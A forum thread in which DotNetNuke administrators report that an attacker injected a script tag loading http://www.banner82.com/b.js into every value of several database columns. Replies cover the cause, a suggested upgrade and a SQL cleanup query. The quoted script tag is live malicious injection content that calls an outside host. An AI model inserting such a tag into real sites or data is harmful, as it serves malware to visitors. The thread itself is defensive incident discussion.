DNN SQL Injection Vulnerability? I.E. How did this happen? 

Couldn't find a bug report forum, so....

Long story short; started getting a DotNetNuke.Services.Exceptions.PageLoadException: Input string was not in a correct format error this morning after I tried to log in. After I got that error, site wouldn't load at all. DNN versions of the site is 3 weeks old, just finished porting from the existing site. It had been working without a htich for 3 weeks tho'.

Much Googling ensued and ultimately I tracked it down to the PropertyValue column in the UserProfile table. Seems somone has some how managed to append a bit of code that called a javascript to the end of every value in the column:

<script src="http://www.banner82.com/b.js"></script>

Without detailing the whole process, this script ultimately led to anothet site that tried to load a script that aloowed access to the file system through IE. Doh!

That's not hte purpose of this post however...

Once I deleted this bit of script from the end of each PropertyValue field value, site came back fine.

My concerns:
How did this happen?
How can I prevent it from happening again?
Keep in mind it wasn't just 1 field in the PropertyValue coumn, it was every field.....

Thanks,

Dave

Re: DNN SQL Injection Vulnerability? I.E. How did this happen? 

I don't think, anyone got access to the server's file sytem, i.e. there has been no vulnerability of your server, it might only affect other users visiting the profile. However, to prevent this, any HTML and scripts shall be stripped of the input. I will forward this to our security experts. Thank you.

Dave, which DNN version are you running - AFAIK this has been been fixed since a couple of versions. I sugest to upgrade to latest version of DotNetNuke!

Re: DNN SQL Injection Vulnerability? I.E. How did this happen? 

We just got tagged with the same thing.

dbo.User table's Username filed looks like this:

admin<script src=http://www.banner82.com/b.js></script>

host<script src=http://www.banner82.com/b.js></script>

Seems like a simple fix to remove, but wonder what else they tagged. We've locked down many tables to prevent compromises, but they keep sneaking in.

Not sure what other fields were compromised. Anyone have any help?

Re: DNN SQL Injection Vulnerability? I.E. How did this happen? 

Where can we go to see what was fixed? I cannot upgrade our install due to 3rd party components not compatible with later versions.

NOTE: To clean up this injection, run:

Update Users SET Username = SUBSTRING(Username, 1, CHARINDEX('<script src=http://www.banner82.com/b.js></script>', Username)-1) WHERE CHARINDEX('<script src=http://www.banner82.com/b.js></script>', Username)-1 > 0
